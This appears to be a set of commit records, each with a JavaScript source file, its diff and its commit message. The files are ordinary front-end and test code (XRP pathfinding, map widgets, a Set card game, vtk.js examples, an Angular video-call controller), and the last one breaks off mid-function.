formatResponse(pathfind, paths) { if (paths.alternatives && paths.alternatives.length > 0) { const address = pathfind.source.address; return parsePathfind(address, pathfind.destination.amount, paths); } if (!_.includes(paths.destination_currencies, pathfind.destination.amount.currency)) { throw new NotFoundError('No paths found. ' + 'The destination_account does not accept ' + pathfind.destination.amount.currency + ', they only accept: ' + paths.destination_currencies.join(', ')); } else if (paths.source_currencies && paths.source_currencies.length > 0) { throw new NotFoundError('No paths found. Please ensure' + ' that the source_account has sufficient funds to execute' + ' the payment in one of the specified source_currencies. If it does' + ' there may be insufficient liquidity in the network to execute' + ' this payment right now'); } else { throw new NotFoundError('No paths found.' + ' Please ensure that the source_account has sufficient funds to' + ' execute the payment. If it does there may be insufficient liquidity' + ' in the network to execute this payment right now'); } } function getPathsAsync(pathfind, callback) { validate.pathfind(pathfind); const address = pathfind.source.address; async.waterfall([ _.partial(requestPathFind, this.remote, pathfind), _.partial(conditionallyAddDirectXRPPath, this.remote, address) ], composeAsync(_.partial(formatResponse, pathfind), callback)); } function getPaths(pathfind: Object) { return utils.promisify(getPathsAsync).call(this, pathfind); } module.exports = getPaths;
JavaScript
0
@@ -3035,16 +3035,68 @@ %7D%0A if ( +paths.destination_currencies !== undefined &&%0A !_.inclu
50ee8a6d87d0ea73ec2b0725e77fc9fa01b2c723
add city to report analytics
src/app/CurrentLocation.js
src/app/CurrentLocation.js
define([ 'agrc/modules/Formatting', 'agrc/modules/WebAPI', 'app/config', 'dijit/_TemplatedMixin', 'dijit/_WidgetBase', 'dojo/_base/declare', 'dojo/_base/lang', 'dojo/DeferredList', 'dojo/dom-class', 'dojo/io-query', 'dojo/string', 'dojo/text!app/templates/CurrentLocation.html', 'dojo/topic', 'dojox/html/entities', 'xstyle/css!app/resources/CurrentLocation.css' ], function( Formatting, WebAPI, config, _TemplatedMixin, _WidgetBase, declare, lang, DeferredList, domClass, ioQuery, dojoString, template, topic, entities ) { return declare([_WidgetBase, _TemplatedMixin], { // description: // Displays the current location info and button to generate a report. templateString: template, baseClass: 'current-location', // address: String address: null, _setAddressAttr: {node: 'addressNode', type: 'innerHTML'}, // city: String city: null, _setCityAttr: {node: 'cityNode', type: 'innerHTML'}, // zip: String zip: null, _setZipAttr: {node: 'zipNode', type: 'innerHTML'}, // county: String county: null, _setCountyAttr: {node: 'countyNode', type: 'innerHTML'}, // lastPoint: {x: ..., y: ...} lastPoint: null, // Properties to be sent into constructor postCreate: function() { // summary: // Overrides method of same name in dijit._Widget. // tags: // private console.log('app.CurrentLocation::postCreate', arguments); this.own( topic.subscribe(config.topics.mapClick, lang.hitch(this, 'onMapClick')), topic.subscribe('agrc.widgets.locate.FindAddress.OnFind', lang.hitch(this, 'onFindAddress')) ); this.inherited(arguments); }, onFindAddress: function (data) { // summary: // FindAddress successfully found a point // {location: {x: ..., y: ...}} console.log('app/CurrentLocation:onFindAddress', arguments); this.onMapClick(data[0].location); }, toggleLoader: function (show) { // summary: // description // show: Boolean console.log('app/CurrentLocation:toggleLoader', arguments); var that = this; var showLoader = function () { domClass.remove(that.loader, 'hidden'); domClass.add(that.helpTxt, 'hidden'); domClass.add(that.addressContainer, 'hidden'); }; if (this.loaderTimer) { clearTimeout(this.loaderTimer); } if (show) { if (!domClass.contains(this.helpTxt, 'hidden')) { showLoader(); } else { this.loaderTimer = setTimeout(showLoader, 500); } } else { domClass.add(this.loader, 'hidden'); domClass.remove(this.addressContainer, 'hidden'); } }, onMapClick: function (point) { // summary: // user clicked on the map // point: Object {x: , y: } console.log('app/CurrentLocation:onMapClick', arguments); this.toggleLoader(true); if (!this.webAPI) { this.webAPI = new WebAPI({apiKey: config.apiKey}); } var defs = [ this.webAPI.reverseGeocode(point.x, point.y, {distance: 50}).then( lang.hitch(this, 'onReverseGeocodeComplete'), lang.hitch(this, 'onReverseGeocodeError') ), this.webAPI.search(config.featureClassNames.city, [config.fieldNames.city.NAME], {geometry: 'point:[' + point.x + ',' + point.y + ']'}) .then(lang.partial(lang.hitch(this, 'onSearchReturn'), 'city', config.fieldNames.city.NAME), lang.partial(lang.hitch(this, 'onSearchError'), 'city') ), this.webAPI.search(config.featureClassNames.zip, [config.fieldNames.zip.ZIP5], {geometry: 'point:[' + point.x + ',' + point.y + ']'}) .then(lang.partial(lang.hitch(this, 'onSearchReturn'), 'zip', config.fieldNames.zip.ZIP5), lang.partial(lang.hitch(this, 'onSearchError'), 'zip') ), this.webAPI.search(config.featureClassNames.county, [config.fieldNames.county.NAME], {geometry: 'point:[' + point.x + ',' + point.y + ']'}) .then(lang.partial(lang.hitch(this, 'onSearchReturn'), 'county', config.fieldNames.county.NAME), lang.partial(lang.hitch(this, 'onSearchError'), 'county') ) ]; new DeferredList(defs).then(lang.partial(lang.hitch(this, 'toggleLoader'), false)); this.lastPoint = point; this.refreshReportLink(); }, onSearchReturn: function (type, field, results) { // summary: // search request callback // type: String // field: String // results: {attributes: ...}[] console.log('app/CurrentLocation:onSearchReturn', arguments); var value; if (results.length) { value = Formatting.titlize(results[0].attributes[field]); } else { value = entities.encode(dojoString.substitute(config.messages.noValueFound, [type])); } this.set(type, value); this.refreshReportLink(); }, onSearchError: function (type) { // summary: // description // type: String console.log('app/CurrentLocation:onSearchError', arguments); var value = entities.encode(dojoString.substitute(config.messages.noValueFound, [type])); this.set(type, value); this.refreshReportLink(); }, onReverseGeocodeComplete: function (result) { // summary: // description // result: Object {address: {street: ...}} console.log('app/CurrentLocation:onReverseGeocodeComplete', arguments); var value = (result.address) ? result.address.street : entities.encode(dojoString.substitute(config.messages.noValueFound, ['address'])); this.set('address', value); this.refreshReportLink(); }, onReverseGeocodeError: function () { // summary: // reverse geocode returned an error console.log('app/CurrentLocation:onReverseGeocodeError', arguments); var value = entities.encode(dojoString.substitute(config.messages.noValueFound, ['address'])); this.set('address', value); this.refreshReportLink(); }, refreshReportLink: function () { // summary: // description console.log('app/CurrentLocation:refreshReportLink', arguments); var reportProps = { x: this.lastPoint.x, y: this.lastPoint.y, address: this.address, city: this.city, zip: this.zip, county: this.county }; this.getSummaryLink.href = 'report.html?' + ioQuery.objectToQuery(reportProps); }, onGetSummaryClick: function () { // summary: // description console.log('app/CurrentLocation:onGetSummaryClick', arguments); ga('send', 'event', 'report', ['x:' + this.lastPoint.x, 'y:' + this.lastPoint.y, 'address:' + this.address].join(';')); } }); });
JavaScript
0
@@ -7919,24 +7919,16 @@ ments);%0A - %0A @@ -8086,16 +8086,53 @@ .address +,%0A 'city:' + this.city %5D.join('
958925990be89090516c07bd5cb84016882c624a
reconnect indefinitely when socket connection is lost
app/front/js/main/index.js
app/front/js/main/index.js
var config = require('../../../../config/public.json'); require('mapbox.js'); var L = window.L; var $ = require('jquery'); var Backbone = require('backbone'); Backbone.$ = $; var BackboneLayer = require('leaflet-backbone-layer').BackboneLayer; var MapboxSocket = require('lightstream-socket').MapboxSocket; var VelomaggStation = require('lightstream-backbone').ItemBackboneModel; var StationMarker = require('./StationMarker'); L.mapbox.accessToken = 'pk.eyJ1IjoiZnJhbmNrZXJuZXdlaW4iLCJhIjoiYXJLM0dISSJ9.mod0ppb2kjzuMy8j1pl0Bw'; L.mapbox.config.FORCE_HTTPS = true; L.mapbox.config.HTTPS_URL = 'https://api.tiles.mapbox.com/v4'; var map; var Collection = Backbone.Collection.extend({ model: VelomaggStation }); function createMarker(options) { return new StationMarker(options); } var options = { max_retries: 2, retry_interval: 2000 }; var socket = new MapboxSocket('ws://' + config.hostname + '/socket/', 'station', options); var collection = new Collection(); socket.on('opened', function () { map = map || initializeMap(socket, collection); }); function initializeMap(socket, collection) { var map = L.mapbox.map('map', 'mapbox.light') .setView([43.605, 3.88], 14); socket.attachMap(map); var layer = new BackboneLayer(collection, createMarker); map.addLayer(layer); return map; } socket.on('new_items', function (stations) { collection.set(stations, { remove:false }); }); socket.on('error', function (error) { console.log('error in socket', error); }); socket.on('closed', function () { console.log('socket has been closed'); }); $('#search').on('submit', function (event) { event.preventDefault(); socket.changeFilter({ name: this.q.value }); }); socket.connect();
JavaScript
0.000001
@@ -742,18 +742,16 @@ ions) %7B%0A - return @@ -802,26 +802,8 @@ = %7B%0A - max_retries: 2,%0A re @@ -816,17 +816,17 @@ terval: -2 +5 000%0A%7D;%0Av
9cdbfd38c9074898f32a300c424f1d361fdaf8bd
Fix minor sequencing error
root/scripts/initializesvg.js
root/scripts/initializesvg.js
//Adds func to the list of things that will run upon page load function addload(func) { if(window.addEventListener) { window.addEventListener('load', func) } else { window.attachEvent('onload', func) } } //Default color of all zones const defaultColor = '#b2b2b2' //Stores the information objects of all the zones (including the SVG.Element) let zones = [] //ID-keyed storage of array values. zones[zoneReference[id]] will get the information object of the zone let zoneReference = {} //Returns the information table of the zone with {id} function getInfo(id) { return zones[zoneReference[id]] } //Stores the ID of the currently selected (clicked) zone, if any let selectedZone; //Activates the information blurb group corresponding to the given zone ID function triggerInfo(id) { document.getElementById('hover').innerHTML = 'Hovered zone id: '+id } //Activates the full information group corresponding to the given zone ID function triggerExpandedInfo(id) { document.getElementById('click').innerHTML = 'Clicked zone id: '+id } //Turns off all information blurb group function untriggerInfo() { } //Turns off all full information groups function untriggerExpandedInfo() { } //Set a zone as 'active' (clicked) function selectZone(id) { let info = zones[zoneReference[id]] let color = '#fff' if(info.g) { for(let poly of document.getElementById(id).childNodes) { if(!poly.tagName) { continue; } poly.style.fill = color } } else { info.e.node.style.fill = color } untriggerExpandedInfo() triggerExpandedInfo(id) } //Set a zone as 'hovered' (the zone 'selected' by the most recent hover choice) function hoverZone(id) { let info = zones[zoneReference[id]] let color = '#ddd' if(info.g) { for(let poly of document.getElementById(id).childNodes) { if(!poly.tagName) { continue; } poly.style.fill = color } } else { info.e.node.style.fill = color } untriggerInfo() triggerInfo(id) } //Handler function for a custom event. This 'resets' the zone to their default coloring. function customresethandler() { let info = getInfo(this.id()) try { var color = Factions[info.details.owner].color } catch(err) { var color = defaultColor } if(info.g) { for(let poly of document.getElementById(info.id).childNodes) { if(!poly.tagName) { continue; } poly.style.fill = color } } else { info.e.node.style.fill = color } } //Triggers the customreset event on all zones function customresetcaller() { zones.forEach(function(obj) { if(obj.id === selectedZone) { return; } obj.e.fire('customreset') }) } //This is what actually makes the mouseover event 'happen' //It is globally scoped to allow access by the function delayedMouseover(info,id) { //if(selectedZone) { return; } if(info.mouseout) { return; } if(info.id !== selectedZone) { customresetcaller() hoverZone(id) } else { customresetcaller() untriggerInfo() triggerInfo(id) } } //Mouseover event handler for zones function mouseoverhandler() { let info = getInfo(this.id()) info.mouseout = false setTimeout(delayedMouseover,50,info,info.id) } //Mouseout event handler for zones //Only required if you desire to 'move the mouse off a zone' without 'unhovering' it, which is the current implementation function mouseouthandler() { if(selectedZone) { return; } let info = zones[zoneReference[this.id()]] info.mouseout = true } //Handles the clicking of elements function clickhandler() { let info = getInfo(this.id()) if(selectedZone === info.id) { selectedZone = null info.e.fire('customreset') delayedMouseover(info,info.id) //The mouseover event ceases execution early if the element is selected, so we retrigger it here. untriggerExpandedInfo() } else { customresetcaller() selectedZone = info.id selectZone(info.id) } } function adopt() { for(let element of document.getElementById('The_Ninja_World').childNodes) { if(!element.tagName) { continue; } if(!element.id) { throw 'Element lacks id!'; } zoneReference[element.id] = zones.length zones.push({ g: element.tagName.toLowerCase() === 'g', e: SVG.adopt(element), id: element.id, details: ZoneDetails[element.id], mouseout: false }) } zones.forEach(function(obj,i) { let SVGelement = obj.e SVGelement.mouseover(mouseoverhandler) SVGelement.mouseout(mouseouthandler) SVGelement.click(clickhandler) SVGelement.on('customreset',customresethandler) SVGelement.fire('customreset') }) } addload(adopt) /* //waiting until I figure out how to better implement this addload(function() { svgPanZoom('#The_Best_Map_Ever') }) */
JavaScript
0.001198
@@ -3833,54 +3833,54 @@ -customresetcaller()%0A selectedZone = info.id +selectedZone = info.id%0A customresetcaller() %0A
31043d34ef134c74769900ba9a95cd002e8d8f43
move starttime to state
public/js/src/solitaire.js
public/js/src/solitaire.js
'use strict'; import $ from 'jquery'; import React from 'react'; import moment from 'moment'; import { Modal, Button } from 'react-bootstrap'; import SetGame from './setgame'; import SetCard from './setcard'; const IMG_PATH = 'static/img/'; export default class Solitaire extends SetGame { constructor(props) { super(props); this.state = { cards: [], selected: new Set(), // Set<String> found: new Set(), // Set<Set<String>> solved: false, }; this.starttime = null; } componentWillMount() { let onSuccess = function(response) { this.setState({ cards: response.cards, }); }.bind(this); let onError = function(response) { this.setState({ error: response }); }.bind(this); $.get(this.props.url).then(onSuccess, onError); } onClickSetCard(evt, card) { if (!this.starttime) { this.starttime = moment(); } let cardString = SetCard.stringify(card); if (this.state.selected.has(cardString)) { let selectedCopy = new Set(this.state.selected); selectedCopy.delete(cardString); this.setState({ selected: selectedCopy, }); } else { this.setState({ selected: this.state.selected.add(cardString), }); } if (this.state.selected.size == 3) { let data = { cards: [...this.state.selected].map(SetCard.objectify) }; let xhr = new XMLHttpRequest(); xhr.open('PUT', this.props.url); xhr.setRequestHeader('Content-Type', 'application/json'); xhr.onload = () => { if (xhr.status == 200) { let response = JSON.parse(xhr.responseText); switch(response['result']) { case 'OK': let r = this.state.selected; this.setState({ found: this.state.found.add(new Set(r)), solved: response['solved'], selected: new Set(), }); break; case 'NOT_A_SET': break; case 'ALREADY_FOUND': break; default: throw('This should never happen.'); } } }; xhr.send(JSON.stringify(data)); } } onClickNewGame() { $.ajax(this.props.url, { data: { reset: true }, method: 'GET' }).then((response) => { this.setState({ cards: response.cards, selected: new Set(), found: new Set(), solved: false, starttime: null }); }, (response) => { console.error(response); }); } /** * @param {the_set} Set<String> - the cards in this set * @param {index} Number - the index of this set in the list of sets */ renderSet(the_set, index) { return ( <ul className="this-set" key={`found${index}`}> {[...the_set].map((card_string) => { return ( <li key={card_string}> <SetCard {...SetCard.objectify(card_string)} /> </li> ); })} </ul> ); } renderSetsFound() { return ( <div id="found-so-far"> <h4>Found so far:</h4> { [...this.state.found].map(this.renderSet) } </div> ); } render() { return ( <div id="wrapper"> <Modal show={this.state.solved}> <Modal.Body> <h3 className="center">Solved! In { moment().diff(this.state.starttime, 'seconds') } seconds</h3> </Modal.Body> <Modal.Footer> <Button bsSize="large" bsStyle="success" onClick={this.onClickNewGame.bind(this)}>New Game...</Button> </Modal.Footer> </Modal> {this.renderCards()} {this.renderSetsFound()} </div> ); } }
JavaScript
0
@@ -492,20 +492,10 @@ -%7D;%0A this. + star @@ -503,15 +503,21 @@ time - = +: null +,%0A %7D ;%0A @@ -876,24 +876,30 @@ if (!this. +state. starttime) %7B @@ -910,16 +910,35 @@ this. +setState(%7B%0A starttim @@ -938,18 +938,17 @@ tarttime - = +: moment( @@ -948,16 +948,26 @@ moment() +,%0A %7D) ;%0A %7D%0A
93e74fcd9edb4d35f8301fa2620df89affcb6b43
Fix typo in example
Sources/Rendering/Misc/RemoteView/example/index.js
Sources/Rendering/Misc/RemoteView/example/index.js
import vtkWSLinkClient from 'vtk.js/Sources/IO/Core/WSLinkClient'; import SmartConnect from 'wslink/src/SmartConnect'; import vtkRemoteView from 'vtk.js/Sources/Rendering/Misc/RemoteView'; vtkWSLinkClient.setSmartConnectClass(SmartConnect); document.body.style.padding = '0'; document.body.style.margin = '0'; const divRenderer = document.createElement('div'); document.body.appendChild(divRenderer); divRenderer.style.position = 'relative'; divRenderer.style.width = '100vw'; divRenderer.style.height = '100vh'; divRenderer.style.overflow = 'hidden'; const clientToConnect = vtkWSLinkClient.newInstance(); // Error clientToConnect.onConnectionError((httpReq) => { const message = (httpReq && httpReq.response && httpReq.response.error) || `Connection error`; console.error(message); console.log(httpReq); }); // Close clientToConnect.onConnectionClose((httpReq) => { const message = (httpReq && httpReq.response && httpReq.response.error) || `Connection close`; console.error(message); console.log(httpReq); }); // hint: if you use the launcher.py and ws-proxy just leave out sessionURL // (it will be provided by the launcher) const config = { application: 'cone', sessionURL: 'ws://localhost:1234/ws', }; // Connect clientToConnect .connect(config) .then((validClient) => { const viewStream = this.clientToConnect .getImageStream() .createViewStream('-1'); const view = vtkRemoteView.newInstance({ rpcWheelEvent: 'viewport.mouse.zoom.wheel', viewStream, }); const session = validClient.getConnection().getSession(); view.setSession(session); view.setContainer(divRenderer); view.setInteractiveRatio(0.7); // the scaled image compared to the clients view resolution view.setInteractiveQuality(50); // jpeg quality window.addEventListener('resize', view.resize); }) .catch((error) => { console.error(error); });
JavaScript
0.000002
@@ -1342,13 +1342,8 @@ m = -this. clie @@ -1353,23 +1353,16 @@ oConnect -%0A .getImag @@ -1370,23 +1370,16 @@ Stream() -%0A .createV
074d637413f12d1326495a3bd7d845be325fe010
add more test for default timeline.
test/__tests__/TimeLine/option-size-test.js
test/__tests__/TimeLine/option-size-test.js
'use strict'; import {TimeLine} from "../../../src/TimeLine"; import {data,class_styles} from "../data/test.simple.data"; it('default TimeLine', () => { document.body.innerHTML = '<div id="time-line-container"></div>'; let chart = new TimeLine("#time-line-container", { data: { class_styles: class_styles, data: data } }); expect(chart.context).toBe("#time-line-container"); expect(chart.config.data.class_styles).toEqual(class_styles); expect(chart.config.data.data).toEqual(data); let chart_container = document.getElementById("time-line-container"); let chart_svgs = chart_container.getElementsByTagName("svg"); expect(chart_svgs.length).toBe(1); let chart_svg = chart_svgs[0]; });
JavaScript
0
@@ -7,16 +7,59 @@ trict';%0A +import * as d3selection from 'd3-selection' %0Aimport @@ -799,21 +799,235 @@ g = -chart_svgs%5B0%5D +d3selection.select(chart_svgs%5B0%5D);%0A expect(Number.parseInt(chart_svg.attr('width'))).toBe(TimeLine.default.options.size.width);%0A expect(Number.parseInt(chart_svg.attr('height'))).toBe(TimeLine.default.options.size.height) ;%0A%7D)
1a569894d5394c8f6d1f2ea9d948191d018d1b66
Remove debug Signed-off-by: WTFKr0 <[email protected]>
constants.js
constants.js
var fs = require('fs'); var cfs = fs.readdirSync('./json'); var constants = {}; cfs.forEach(function(f) { constants[f.split(".")[0]] = require('./json/' + f); }); var heroes = constants.heroes.result.heroes; //key heroes by id constants.heroes = {}; //key heroes by name constants.hero_names = {}; heroes.forEach(function(h) { h.img = "http://cdn.dota2.com/apps/dota2/images/heroes/" + h.name.replace("npc_dota_hero_", "") + "_sb.png"; constants.heroes[h.id] = h; constants.hero_names[h.name] = h; }); /* //leagues, key by id var leagues = JSON.parse(JSON.stringify(constants.leagues.result.leagues)); constants.leagues = {}; leagues.forEach(function(l) { l.name = l.name.replace("#DOTA_Item_", "").split("_").join(" "); constants.leagues[l.leagueid] = l; }); */ //items, already keyed by name var items = constants.items.itemdata; constants.item_ids = {}; for (var key in items) { constants.item_ids[items[key].id] = key; items[key].img = "http://cdn.dota2.com/apps/dota2/images/items/" + items[key].img; } constants.items = items; //abilities, already keyed by name var abilities = constants.abilities.abilitydata; for (var key2 in abilities) { abilities[key2].img = "http://cdn.dota2.com/apps/dota2/images/abilities/" + key2 + "_md.png"; } abilities.nevermore_shadowraze2 = abilities.nevermore_shadowraze1; abilities.nevermore_shadowraze3 = abilities.nevermore_shadowraze1; abilities.stats = { dname: "Stats", img: '../../public/images/Stats.png', attrib: "+2 All Attributes" }; constants.abilities = abilities; constants.lanes = []; for (var i = 0; i < 128; i++) { constants.lanes.push([]); for (var j = 0; j < 128; j++) { var lane; if (Math.abs(i - (127 - j)) < 8) { lane = 2; //mid } else if (j < 27 || i < 27) { lane = 3; //top } else if (j >= 100 || i >= 100) { lane = 1; //bot } else if (i < 50) { lane = 5; //djung } else if (i >= 77) { lane = 4; //rjung } else { lane = 2; //mid } constants.lanes[i].push(lane); } } var cluster = {}; var regions_id = {}; //Remove regions nesting constants.regions = constants.regions.regions; var regions = constants.regions; for (var key in regions) { var id = regions[key].region; regions_id[id] = key; if (regions[key].clusters) { regions[key].clusters.forEach(function(c) { cluster[c] = regions[key].display_name.slice("#dota_region_".length).split("_").map(function(s) { return s.toUpperCase(); }).join(" "); }); } } cluster["121"] = "US EAST"; constants.regions_id = regions_id; console.log(constants.regions_id); constants.cluster = cluster; constants.anonymous_account_id = 4294967295; module.exports = constants;
JavaScript
0
@@ -2743,43 +2743,8 @@ id;%0A -console.log(constants.regions_id);%0A cons
003fb34b7b1a149d9a8c2f6c029f444158857981
Decode tuple values into the correct types
constants.js
constants.js
Constants = (function() { var CONSTANTS_URI = 'http://constantine.teaisaweso.me/json' var gotConstants = new Bacon.Bus(); var constants = gotConstants.toProperty(); var getAll = function(callback) { constants.onValue(callback); }; var reload = function() { var rawConstants = $.get(CONSTANTS_URI); rawConstants.done(function(value) { var baseValues = JSON.parse(value); var actualConstants = {}; _.each(baseValues['constants'], function(tuple) { actualConstants[tuple.name] = tuple.value; }); gotConstants.push(actualConstants); }); }; var get = function(key, callback) { var newStream = constants.map(function(x) { return x[key]; }).skipDuplicates(); newStream.onValue(callback); }; constants.onValue(function() { console.log("Constants loaded."); }); $(_.defer(reload)); return {'getAll': getAll, 'get': get, 'reload': reload}; }());
JavaScript
0.999998
@@ -334,16 +334,253 @@ S_URI);%0A + var typeDecoders = %7B'string': function(x) %7B return x; %7D,%0A 'float': parseFloat,%0A 'int': parseFloat,%0A 'boolean': function(x) %7B return x == 'true'; %7D%7D%0A @@ -611,24 +611,24 @@ on(value) %7B%0A - @@ -809,16 +809,41 @@ name%5D = +typeDecoders%5Btuple.type%5D( tuple.va @@ -845,16 +845,17 @@ le.value +) ;%0A
7994aa8678d7d8ea94c717fd35e29e051da2b2f6
Fix linter error :neckbeard:
test/examples/CreateCustomComponent-test.js
test/examples/CreateCustomComponent-test.js
const Rx = require(`rx`) const test = require(`tape`) const Yolk = require(`yolk`) const renderInDoc = require(`../helpers/renderInDoc`) test(`CreateCustomComponent: a component that has livecycle hooks`, t => { t.plan(3) t.timeoutAfter(100) class CustomOnlyMount extends Yolk.CustomComponent { onMount (props, node) { const className = props.className.join(` `) node.setAttribute(`class`, className) } onUpdate (props, node) { const className = props.className.join(` `) node.setAttribute(`class`, className) } onUnmount () { t.pass(`custom component unmounts`) } } const names = new Rx.BehaviorSubject([`a`, `b`, `c`, `d`]) const instance = <CustomOnlyMount className={names}><p /></CustomOnlyMount> const [node, cleanup] = renderInDoc(instance) t.equal(node.tagName, `P`) t.equal(node.className, `a b c d`) names.onNext([`e`, `ee`, `eee`, `eeee`]) t.equal(node.className, `e ee eee eeee`) Yolk.render(<div />, node) cleanup() }) test(`CreateCustomComponent: uses a div if no child is passed in`, t => { t.plan(2) t.timeoutAfter(100) class CC extends Yolk.CustomComponent {} const [node, cleanup] = renderInDoc(<CC />) t.equal(node.tagName, `DIV`) const [node2, cleanup2] = renderInDoc(<CC><p /></CC>) t.equal(node2.tagName, `P`) cleanup() cleanup2() }) test(`CreateCustomComponent: should raise when there is more than one child`, t => { t.plan(6) t.timeoutAfter(100) class CC extends Yolk.CustomComponent {} t.throws(() => <CC><p /><p /></CC>) t.throws(() => <CC><p><p /></p><p /></CC>) t.doesNotThrow(() => <CC><p /></CC>) t.doesNotThrow(() => <CC><p><p /></p></CC>) t.doesNotThrow(() => <CC><p><p /><p /></p></CC>) t.doesNotThrow(() => <CC />) }) test(`CreateCustomComponent: node is already inserted into the DOM with onMount`, t => { t.plan(1) t.timeoutAfter(2000) class CC extends Yolk.CustomComponent { onMount (__props, node) { t.ok(node.parentNode) } } const cleanup = renderInDoc(<CC />)[1] cleanup() }) test(`CreateCustomComponent: node is already insert into the DOM even after the original load`, t => { t.plan(1) t.timeoutAfter(2000) class CC extends Yolk.CustomComponent { onMount (__props, node) { t.ok(node.parentNode) } } const child = new Rx.BehaviorSubject(<div />) const cleanup = renderInDoc(<div>{child}</div>)[1] setTimeout(function () { child.onNext(<CC />) cleanup() }, 0) }) test(`CreateCustomComponent: extending the class with .extend`, t => { t.plan(3) t.timeoutAfter(2000) const CC = Yolk.CustomComponent.extend({ onMount () { t.pass() }, onUpdate () { t.pass() }, onUnmount () { t.pass() }, }) const subject = new Rx.BehaviorSubject(1) // call onMount const [node, cleanup] = renderInDoc(<CC someProp={subject} />) // call onUpdate subject.onNext(2) // class onUnmount Yolk.render(<p />, node.parentNode) cleanup() })
JavaScript
0.000002
@@ -2447,19 +2447,13 @@ out( -function () +() =%3E %7B%0A
b5cadf51bee5a505cedf1bb28a9b096028607b76
Add call succession promise to correct level
app/js/controllers/call.js
app/js/controllers/call.js
'use strict'; /* * Controller which handles the actual video call part of the app * Sets up the canvases, and sets up the correct data callbacks and such... */ angular.module('call', []) .controller('CallCtrl', function ($scope, trackingFactory, recordingFactory, fileFactory, $ionicLoading, settingsFactory, $window, $document, callLogFactory , $sce, $stateParams, peerFactory, drawingFactory) { var saveCalls = settingsFactory.getSetting('saveCalls'); var startDate = Date.now(); var alreadyLeaving = false; var leave = function () { if (alreadyLeaving === false) { alreadyLeaving = true; peerFactory.sendDataToPeer({ type: 'otherPeerLeft' }); trackingFactory.track.call.ended({ with: $stateParams.user.phoneNumber, duration: Date.now() - startDate }); drawingFactory.tearDownDrawingFactory(); peerFactory.clearCallback('otherPeerLeft'); peerFactory.clearCallback('toggleRemoteVideo'); peerFactory.clearCallback('toggleVideoMute'); if (saveCalls) { $ionicLoading.show({ templateUrl: 'templates/modals/save-video-loader.html' }); recordingFactory.stopRecording() .then(function (results) { var name = _.kebabCase($stateParams.user.displayName); var fileNamePrefix = 'call-with-' + name + '-' + Date.now(); return Promise.all([ fileFactory.writeToFile({ fileName : fileNamePrefix + '.webm', data : results.videoBlob }), fileFactory.writeToFile({ fileName : fileNamePrefix + '-local.wav', data : results.localAudioBlob }) // fileFactory.writeToFile({ // fileName : fileNamePrefix + '-remote.wav', // data : results.remoteAudioBlob // }) ]); }) .then(function (results) { $ionicLoading.hide(); recordingFactory.clearRecordedData(); peerFactory.endCurrentCall(); }) .catch(function (error) { $ionicLoading.hide(); recordingFactory.clearRecordedData(); callLogFactory.callSucceeded(); peerFactory.endCurrentCall(); }); } else { peerFactory.endCurrentCall(); } } }; var toggleVideoPlayingState = function (videoSelector) { var video = $document[0].querySelector(videoSelector); if (video.paused === true) { video.play(); } else { video.pause(); } }; var toggleAudioPlayingState = function (audioSelector) { var audio = $document[0].querySelector(audioSelector); if (audio.paused === true) { audio.play(); } else { audio.pause(); } }; var toggleRemoteVideoPlayingState = function () { toggleVideoPlayingState($scope.currentRemoteVideoLocation); }; var toggleLocalVideoPlayingState = function () { toggleVideoPlayingState($scope.currentLocalVideoLocation); }; var draggableVideo = new Draggabilly('#small-video'); var localStreamSrc = $sce.trustAsResourceUrl(peerFactory.getLocalStreamSrc()); var remoteStreamSrc = $sce.trustAsResourceUrl(peerFactory.getRemoteStreamSrc()); if (saveCalls) { recordingFactory.initializeRecordingVideo(document.getElementById('local-wrapper')); // TODO: Re-enable this once CrossWalk gets to chromium 49 // https://crosswalk-project.org/documentation/downloads.php // recordingFactory.initializeRecordingAudio({ source: 'remote', audioStream: peerFactory.getRemoteStream() }); recordingFactory.initializeRecordingAudio({ source: 'local', audioStream: peerFactory.getLocalStream() }); } draggableVideo.on('staticClick', function () { // TODO: Refactor this into something more elegant if ($scope.currentBigScreen === 'remote-big') { $scope.currentBigScreen = 'local-big'; $scope.smallStreamSrc = remoteStreamSrc; $scope.bigStreamSrc = localStreamSrc; $scope.currentRemoteVideoLocation = '#small-video'; $scope.currentLocalVideoLocation = '#big-video'; } else if ($scope.currentBigScreen === 'local-big') { $scope.currentBigScreen = 'remote-big'; $scope.smallStreamSrc = localStreamSrc; $scope.bigStreamSrc = remoteStreamSrc; $scope.currentRemoteVideoLocation = '#big-video'; $scope.currentLocalVideoLocation = '#small-video'; } $scope.$apply(); }); drawingFactory.setUpDataCallbacks(); drawingFactory.setUpRemoteCanvas('remote-canvas', {}); drawingFactory.setUpLocalCanvas('local-canvas', {}); peerFactory.registerCallback('otherPeerLeft', function () { leave(); }); peerFactory.registerCallback('toggleVideoMute', function () { toggleAudioPlayingState('#call-audio'); }); peerFactory.registerCallback('toggleRemoteVideo', function () { $window.isRemoteVideoPaused = !$window.isRemoteVideoPaused; toggleRemoteVideoPlayingState(); }); $scope.currentBigScreen = 'remote-big'; // I have no idea what is so special about this variable // but we have to declare it as a global so angular doesn't // override it $window.isRemoteVideoPaused = false; $scope.isOwnVideoPaused = false; $scope.isOwnStreamMuted = false; $scope.isArrowModeOn = false; $scope.currentRemoteVideoLocation = '#big-video'; $scope.currentLocalVideoLocation = '#small-video'; $scope.determinePauseButtonClass = function () { if ($scope.isOwnVideoPaused === true) { return 'ion-play'; } else if ($scope.isOwnVideoPaused === false) { return 'ion-pause'; } }; $scope.determineArrowSwitchClass = function () { if ($scope.isArrowModeOn === true) { return 'ion-edit'; } else if ($scope.isArrowModeOn === false) { return 'ion-arrow-swap'; } }; $scope.determineMuteButtonClass = function () { if ($scope.isOwnStreamMuted === true) { return 'ion-android-microphone-off'; } else if ($scope.isOwnStreamMuted === false) { return 'ion-android-microphone'; } }; $scope.determineIfBigVideoIsAutoplay = function () { if (($scope.isOwnVideoPaused === true && $scope.currentLocalVideoLocation === '#big-video') || ($window.isRemoteVideoPaused === true && $scope.currentRemoteVideoLocation === '#big-video')) { return false; } return true; }; $scope.determineIfSmallVideoIsAutoplay = function () { if (($scope.isOwnVideoPaused === true && $scope.currentLocalVideoLocation === '#small-video') || ($window.isRemoteVideoPaused === true && $scope.currentRemoteVideoLocation === '#small-video')) { return false; } return true; }; $scope.toggleArrowMode = function () { $scope.isArrowModeOn = !$scope.isArrowModeOn; drawingFactory.toggleArrowDrawingMode(); }; $scope.toggleMute = function () { peerFactory.sendDataToPeer({ type: 'toggleVideoMute' }); peerFactory.toggleAudioStream(); $scope.isOwnStreamMuted = !$scope.isOwnStreamMuted; }; $scope.togglePause = function () { $scope.isOwnVideoPaused = !$scope.isOwnVideoPaused; 